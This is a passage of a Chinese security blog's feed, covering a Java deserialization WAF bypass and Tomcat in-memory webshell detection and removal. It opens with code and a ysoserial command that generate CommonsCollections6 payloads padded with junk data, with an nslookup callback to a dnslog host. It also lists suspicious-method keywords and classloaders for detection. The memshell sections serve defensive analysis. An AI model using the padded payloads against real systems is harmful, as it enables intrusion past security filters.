class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>;i<length;i++){</span><br><span class="line"> str += <span class="string">"x"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> str;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 测试</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Object cc6 = <span class="keyword">new</span> CommonsCollections6().getObject(<span class="string">"raw_cmd:nslookup xxx.dnslog.cn"</span>);</span><br><span class="line"> DirtyDataWrapper dirtyDataFactory = <span class="keyword">new</span> DirtyDataWrapper(cc6,<span class="number">100</span>);</span><br><span class="line"> ObjectOutputStream objectOutputStream = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"/tmp/cc6.ser"</span>));</span><br><span class="line"> objectOutputStream.writeObject(dirtyDataFactory.doWrap());</span><br><span class="line"> objectOutputStream.flush();</span><br><span class="line"> objectOutputStream.close();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>完整代码请移步<a href="https://github.com/woodpecker-framework/ysoserial-for-woodpecker" target="_blank" rel="noopener">ysoserial-for-woodpecker</a>项目。通过如下命令就可以生成带有<code>40000脏数据</code>的CommsonCollects6序列化数据。</p> <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsCollections6 -a <span class="string">"raw_cmd:nslookup win.4lu19g.dnslog.cn"</span> --dirt-data-length 400000 > cc6-dnslog.ser</span><br></pre></td></tr></table></figure><p> 把<code>cc6-dnslog.ser</code>复制到burp中发送,完美饶过waf收到dnslog!</p><p><img src="/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/bypass-waf.png" alt="成功绕过WAF"></p><h2 id="0x04-留一个小问题"><a href="#0x04-留一个小问题" class="headerlink" title="0x04 留一个小问题"></a>0x04 留一个小问题</h2><p>其实不是所有的集合类都适合用于包裹脏数据和gadget,比如<code>LinkedHashSet</code>,<code>HashSet</code>,<code>TreeSet</code>等类就不适合。至于为何,留给大家思考。</p>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>前几周有个同事发给我一个授权的站点,需要拿下webshell权限。发现存在Java反序列化漏洞,但是
</summary>
<category term="安全开发" scheme="https://gv7.me/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
<category term="绕WAF" scheme="https://gv7.me/tags/%E7%BB%95WAF/"/>
</entry>
<entry>
<title>Filter/Servlet型内存马的扫描抓捕与查杀</title>
<link href="https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/"/>
<id>https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/</id>
<published>2020-09-09T15:10:01.000Z</published>
<updated>2020-10-13T13:36:47.194Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在内存马横行的当下,蓝队or应急的师傅如何能快速判断哪些Filter/Servlet是内存马,分析内存马的行为功能是什么?最终又如何不重启的将其清除?红队师傅又如何抓铺其他师傅的内存马为自己用,亦或是把师傅的内存马踢掉?</p><p>在当下攻防对抗中,一直缺少着针对内存马扫描,捕捉与查杀的辅助脚本。下面就以<code>Tomcat 8.5.47</code>为例子,分享下编写方法,其他中间件万变不离其宗。</p><p>考虑到Agent技术针对红队来说比较重,我们这次使用jsp技术来解决以上问题。</p><h2 id="0x02-扫描Filter和Servlet"><a href="#0x02-扫描Filter和Servlet" class="headerlink" title="0x02 扫描Filter和Servlet"></a>0x02 扫描Filter和Servlet</h2><p>要想扫描web应用内存中的Filter和Servlet,我们必须知道它们存储的位置。通过查看代码,我们知道StandardContext对象中维护的是一个</p><p>和Filter相关的是<code>filterDefs</code>和<code>filterMaps</code>两个属性。这两个属性分别维护着全局Filter的定义,以及Filter的映射关系。</p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/filterMaps-filterRefs.png" alt="filterMaps和filterRefs属性结构"></p><p>和Servlet相关的是<code>children</code>和<code>servletMappings</code>两个属性。这两个属性分别维护这全家Servlet的定义,以及Servlet的映射关系。</p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/servletMappings.png" alt="servletMappings属性结构"></p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/children.png" alt="children属性结构"></p><p>其他request对象中就存储这StandardContext对象。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">request.getSession().getServletContext() {ApplicationContextFacade}</span><br><span class="line"> -> context {ApplicationContext} </span><br><span class="line"> -> context {StandardContext}</span><br><span class="line"> * filterDefs</span><br><span class="line"> * filterMaps</span><br><span class="line"> * children</span><br><span class="line"> * servletMappings</span><br></pre></td></tr></table></figure><p>所以我们只需要通过反射遍历request,最终就可以拿到Filter和Servlet的如下信息。</p><ul><li>Filter/Servlet名</li><li>匹配路径</li><li>Class名</li><li>ClassLoader</li><li>Class文件存储路径。</li><li>内存中Class字节码(方便反编译审计其是否存在恶意代码)</li><li>该Class是否有对应的磁盘文件(判断内存马的重要指标)</li></ul><p>具体反射遍历代码放文末github,这里值得一提是拿到Class名通过如下方法就能拿到其被加载到内存中的字节码内容。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">byte</span>[] classBytes = Repository.lookupClass(Class.forName(<span class="string">"me.gv7.Memshell"</span>)).getBytes();</span><br></pre></td></tr></table></figure><h2 id="0x03-注销Filter内存马"><a href="#0x03-注销Filter内存马" class="headerlink" title="0x03 注销Filter内存马"></a>0x03 注销Filter内存马</h2><p>通过分析调试Tomcat源码,我们知道Tomcat注销filter其实就是将该Filter从全局filterDefs和filterMaps中清除掉。具体的操作分别如下<code>removeFilterDef</code>和<code>removeFilterMap</code>两个方法中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeFilterDef</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeFilterDef</span><span class="params">(FilterDef filterDef)</span> </span>{</span><br><span class="line"> <span class="keyword">synchronized</span>(<span class="keyword">this</span>.filterDefs) {</span><br><span class="line"> <span class="keyword">this</span>.filterDefs.remove(filterDef.getFilterName());</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">this</span>.fireContainerEvent(<span class="string">"removeFilterDef"</span>, filterDef);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeFilterMap</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeFilterMap</span><span class="params">(FilterMap filterMap)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.filterMaps.remove(filterMap);</span><br><span class="line"> <span class="keyword">this</span>.fireContainerEvent(<span class="string">"removeFilterMap"</span>, filterMap);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们只需要反射调用它们即可注销Filter。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title">deleteFilter</span><span class="params">(HttpServletRequest request,String filterName)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Object standardContext = getStandardContext(request);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// org.apache.catalina.core.StandardContext#removeFilterDef</span></span><br><span class="line"> HashMap<String,Object> filterConfig = getFilterConfig(request);</span><br><span class="line"> Object appFilterConfig = filterConfig.get(filterName);</span><br><span class="line"> Field _filterDef = appFilterConfig.getClass().getDeclaredField(<span class="string">"filterDef"</span>);</span><br><span class="line"> _filterDef.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object filterDef = _filterDef.get(appFilterConfig);</span><br><span class="line"> Method removeFilterDef = standardContext.getClass().getDeclaredMethod(<span class="string">"removeFilterDef"</span>, <span class="keyword">new</span> Class[]{org.apache.tomcat.util.descriptor.web.FilterDef.class});</span><br><span class="line"> removeFilterDef.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeFilterDef.invoke(standardContext,filterDef);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// org.apache.catalina.core.StandardContext#removeFilterMap</span></span><br><span class="line"> Object[] filterMaps = getFilterMaps(request);</span><br><span class="line"> <span class="keyword">for</span>(Object filterMap:filterMaps){</span><br><span class="line"> Field _filterName = filterMap.getClass().getDeclaredField(<span class="string">"filterName"</span>);</span><br><span class="line"> _filterName.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> String filterName0 = (String)_filterName.get(filterMap);</span><br><span class="line"> <span class="keyword">if</span>(filterName0.equals(filterName)){</span><br><span class="line"> Method removeFilterMap = standardContext.getClass().getDeclaredMethod(<span class="string">"removeFilterMap"</span>, <span class="keyword">new</span> Class[]{org.apache.catalina.deploy.FilterMap.class});</span><br><span class="line"> removeFilterDef.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeFilterMap.invoke(standardContext,filterMap);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x04-注销Servlet内存马"><a href="#0x04-注销Servlet内存马" class="headerlink" title="0x04 注销Servlet内存马"></a>0x04 注销Servlet内存马</h2><p>注销Servlet的原理也是类似,将该Servlet从全局servletMappings和children中清除掉即可。在Tomcat源码中对应的是<code>removeServletMapping</code>和<code>removeChild</code>方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeServletMapping</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeServletMapping</span><span class="params">(String pattern)</span> </span>{</span><br><span class="line"> String name = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">synchronized</span>(<span class="keyword">this</span>.servletMappingsLock) {</span><br><span class="line"> name = (String)<span class="keyword">this</span>.servletMappings.remove(pattern);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Wrapper wrapper = (Wrapper)<span class="keyword">this</span>.findChild(name);</span><br><span class="line"> <span class="keyword">if</span> (wrapper != <span class="keyword">null</span>) {</span><br><span class="line"> wrapper.removeMapping(pattern);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.fireContainerEvent(<span class="string">"removeServletMapping"</span>, pattern);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//org.apache.catalina.core.StandardContext#removeChild</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">removeChild</span><span class="params">(Container child)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (!(child <span class="keyword">instanceof</span> Wrapper)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(sm.getString(<span class="string">"standardContext.notWrapper"</span>));</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">super</span>.removeChild(child);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们只需要反射调用它们即可注销Servlet。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title">deleteServlet</span><span class="params">(HttpServletRequest request,String servletName)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> HashMap<String,Object> childs = getChildren(request);</span><br><span class="line"> Object objChild = childs.get(servletName);</span><br><span class="line"> String urlPattern = <span class="keyword">null</span>;</span><br><span class="line"> HashMap<String,String> servletMaps = getServletMaps(request);</span><br><span class="line"> <span class="keyword">for</span>(Map.Entry<String,String> servletMap:servletMaps.entrySet()){</span><br><span class="line"> <span class="keyword">if</span>(servletMap.getValue().equals(servletName)){</span><br><span class="line"> urlPattern = servletMap.getKey();</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(urlPattern != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 反射调用 org.apache.catalina.core.StandardContext#removeServletMapping</span></span><br><span class="line"> Object standardContext = getStandardContext(request);</span><br><span class="line"> Method removeServletMapping = standardContext.getClass().getDeclaredMethod(<span class="string">"removeServletMapping"</span>, <span class="keyword">new</span> Class[]{String.class});</span><br><span class="line"> removeServletMapping.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeServletMapping.invoke(standardContext, urlPattern);</span><br><span class="line"> <span class="comment">// Tomcat 6必须removeChild 789可以不用</span></span><br><span class="line"> <span class="comment">// 反射调用 org.apache.catalina.core.StandardContext#removeChild</span></span><br><span class="line"> Method removeChild = standardContext.getClass().getDeclaredMethod(<span class="string">"removeChild"</span>, <span class="keyword">new</span> Class[]{org.apache.catalina.Container.class});</span><br><span class="line"> removeChild.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> removeChild.invoke(standardContext, objChild);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x05-演示"><a href="#0x05-演示" class="headerlink" title="0x05 演示"></a>0x05 演示</h2><p>我们只需要把编写好的<code>tomcat-memshell-scanner.jsp</code>放到可能被注入内存的web项目中,然后通过浏览器访问即可。假设扫描结果如下:</p><p><img src="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/tomcat-memshell-scan-result.png" alt="Tomcat内存马扫描结果"></p><p>通过分析扫描出的信息,可知<code>filter-b2b1cad2-44be-4f43-8db0-bd43da5ad368</code>是Filter型内存马,原因如下:</p><ol><li>classLoader是可疑的<code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader</code>,这是反序列化漏洞执行代码用的classLoader。</li><li>class在磁盘中没有对应的class文件,只驻留在内存。</li></ol><p><code>/favicon.ico</code>是Servlet型内存马,判断原因如下。</p><ol><li>classLoader是自定义classLoader,当下比较流行的java webshell基本都是自定义了class loader来实现任意代码执行。</li><li>class在磁盘中没有对应的class文件,只驻留在内存。</li></ol><p>最后我们可以dump出那么对应的class,反编译看代码分析<code>filter-b2b1cad2-44be-4f43-8db0-bd43da5ad368</code>是Filter型cmd内存马,<code>/favicon.ico</code>是Servlet型哥斯拉内存马。</p>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在内存马横行的当下,蓝队or应急的师傅如何能快速判断哪些Filter/Servlet是内存马,分析内
</summary>
<category term="安全开发" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>查杀Java web filter型内存马</title>
<link href="https://gv7.me/articles/2020/kill-java-web-filter-memshell/"/>
<id>https://gv7.me/articles/2020/kill-java-web-filter-memshell/</id>
<published>2020-08-12T18:04:49.000Z</published>
<updated>2021-01-21T03:15:21.471Z</updated>
<content type="html"><![CDATA[<blockquote><p>想法早在几个月之前就有了,月初收好友之邀请,夜游鼓浪屿,彼时夜朗星稀,山海一色,偶有微波抚足,不觉间有了点写东西的感觉,晚上回到旅社简单写了下。等回到北京后,不料润色之意全无,就凑合看吧。</p></blockquote><p><img src="/articles/2020/kill-java-web-filter-memshell/gulangyu01.jpeg" alt></p><p><img src="/articles/2020/kill-java-web-filter-memshell/gulangyu02.jpeg" alt></p><h2 id="0x01-内存马简历史"><a href="#0x01-内存马简历史" class="headerlink" title="0x01 内存马简历史"></a>0x01 内存马简历史</h2><p>其实内存马由来已久,早在17年n1nty师傅的<a href="https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw" target="_blank" rel="noopener">《Tomcat源码调试笔记-看不见的shell》</a>中已初见端倪,但一直不温不火。后经过rebeyong师傅使用<a href="https://www.cnblogs.com/rebeyond/p/9686213.html" target="_blank" rel="noopener">agent技术</a>加持后,拓展了内存马的使用场景,然终停留在奇技淫巧上。在各类hw洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。特别是今年在shiro的回显研究之后,引发了无数安全研究员对内存webshell的研究,其中涌现出了LandGrey师傅构造的<a href="https://landgrey.me/blog/12/" target="_blank" rel="noopener">Spring controller内存马</a>。至此内存马开枝散叶发展出了三大类型:</p><ol><li>servlet-api类<ul><li>filter型</li><li>servlet型</li></ul></li><li>spring类<ul><li>拦截器</li><li>controller型</li></ul></li><li>Java Instrumentation类<ul><li>agent型</li></ul></li></ol><p>内存马这坛深巷佳酒,一时间流行于市井与弄堂之间。上至安全研究员下至普通客户,人尽皆知。正值hw来临之际,不难推测届时必将是内存马横行天下之日。而各大安全厂商却迟迟未见动静。所谓表面风平浪静,实则暗流涌动。或许一场内存马的围剿计划正慢慢展开。作为攻击方向的研究人员,没有对手就制造对手,攻防互换才能提升内存马技术的发展。</p><h2 id="0x02-查杀思路"><a href="#0x02-查杀思路" class="headerlink" title="0x02 查杀思路"></a>0x02 查杀思路</h2><p>我们判断逻辑很朴实,利用Java Agent技术遍历所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Transformer</span> <span class="keyword">implements</span> <span class="title">ClassFileTransformer</span> </span>{</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">byte</span>[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, <span class="keyword">byte</span>[] bytes) <span class="keyword">throws</span> IllegalClassFormatException {</span><br><span class="line"> <span class="comment">// 识别内存马</span></span><br><span class="line"> <span class="keyword">if</span>(isMemshell(aClass,bytes)){</span><br><span class="line"> <span class="comment">// 查杀内存马</span></span><br><span class="line"> <span class="keyword">byte</span>[] newClassByte = killMemshell(aClass,bytes);</span><br><span class="line"> <span class="keyword">return</span> newClassByte;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> bytes;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x03-内存马的识别"><a href="#0x03-内存马的识别" class="headerlink" title="0x03 内存马的识别"></a>0x03 内存马的识别</h2><p>要识别,我们就需要细思内存马有什么特征。下面列下我思考过的检查点。</p><ol><li>filter名字很特别</li></ol><p>内存马的Filter名一般比较特别,有<code>shell</code>或者随机数等关键字。这个特征稍弱,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常的名字。</p><ol start="2"><li>filter优先级是第一位</li></ol><p>为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。</p><ol start="2"><li>对比web.xml中没有filter配置</li></ol><p>内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了<code>@WebFilter</code>标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。</p><ol start="4"><li>特殊classloader加载</li></ol><p>我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:</p><ul><li>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader</li><li>com.sun.org.apache.bcel.internal.util.ClassLoader</li></ul><p>这个特征是一个特别可疑的点了。当然了,有的内存马还是比较狡猾的,它会注入class到当前线程中,然后实例化注入内存马。这个时候内存马就有可能不是上面两个classloader。</p><ol start="5"><li>对应的classloader路径下没有class文件</li></ol><p>所谓内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">classFileIsExists</span><span class="params">(Class clazz)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(clazz == <span class="keyword">null</span>){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> String className = clazz.getName();</span><br><span class="line"> String classNamePath = className.replace(<span class="string">"."</span>, <span class="string">"/"</span>) + <span class="string">".class"</span>;</span><br><span class="line"> URL is = clazz.getClassLoader().getResource(classNamePath);</span><br><span class="line"> <span class="keyword">if</span>(is == <span class="keyword">null</span>){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ol start="6"><li>Filter的doFilter方法中有恶意代码</li></ol><p>我们可以把内存中所有的Filter的class dump出来,使用<code>fernflower</code>等反编译工具分析看看,是否存在恶意代码,比如调用了如下可疑的方法:</p><ul><li>java.lang.Runtime.getRuntime</li><li>defineClass</li><li>invoke</li><li>…</li></ul><p>不难分析,内存马的命门在于<code>5</code>和<code>6</code>。简单说就是Filter型内存马首先是一个Filter类,同时它在硬盘上没有对应的class文件。若dump出的class还有恶意代码,那是内存马无疑啦。大致检查的代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">boolean</span> <span class="title">isMemshell</span><span class="params">(Class targetClass,<span class="keyword">byte</span>[] targetClassByte)</span></span>{</span><br><span class="line"> ClassLoader classLoader = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">if</span>(targetClass.getClassLoader() != <span class="keyword">null</span>) {</span><br><span class="line"> classLoader = targetClass.getClassLoader();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> classLoader = Thread.currentThread().getContextClassLoader();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Class clsFilter = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> clsFilter = classLoader.loadClass(<span class="string">"javax.servlet.Filter"</span>);</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 是否是filter</span></span><br><span class="line"> <span class="keyword">if</span>(clsFilter != <span class="keyword">null</span> && clsFilter.isAssignableFrom(targetClass)){</span><br><span class="line"> <span class="comment">// class loader 是不是Templates或bcel</span></span><br><span class="line"> <span class="keyword">if</span>(classLoader.getClass().getName().contains(<span class="string">"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader"</span>)</span><br><span class="line"> || classLoader.getClass().getName().contains(<span class="string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span>)){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 是否存在ClassLoader的文件目录下存在对应的class文件</span></span><br><span class="line"> <span class="keyword">if</span>(classFileIsExists(targetClass)){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// filter是否包含恶意代码。</span></span><br><span class="line"> String[] blacklist = <span class="keyword">new</span> String[]{<span class="string">"getRuntime"</span>,<span class="string">"defineClass"</span>,<span class="string">"invoke"</span>};</span><br><span class="line"> String clsJavaCode = FernflowerUtils.decomper(targetClass,targetClassByte);</span><br><span class="line"> <span class="keyword">for</span>(String b:blacklist){</span><br><span class="line"> <span class="keyword">if</span>(clsJavaCode.contains(b)){</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>PS: 本文讨论查杀的思路,给出的代码只是概念正面的伪装代码。完美的方案是将以上6点作为判断指标,并根据指标的重要性赋予不同权重。满足的条件越多越可能是内存马。</p><h2 id="0x04-内存马的查杀"><a href="#0x04-内存马的查杀" class="headerlink" title="0x04 内存马的查杀"></a>0x04 内存马的查杀</h2><p>内存马识别完成,接下来就是如何查杀了。</p><p>方法一: 清除内存马中的Filter的恶意代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] killMemshell(Class clsMemshell,<span class="keyword">byte</span>[] byteMemshell) <span class="keyword">throws</span> Exception{</span><br><span class="line"> File file = <span class="keyword">new</span> File(String.format(<span class="string">"/tmp/%s.class"</span>,clsMemshell.getName()));</span><br><span class="line"> <span class="keyword">if</span>(file.exists()){</span><br><span class="line"> file.delete();</span><br><span class="line"> }</span><br><span class="line"> FileOutputStream 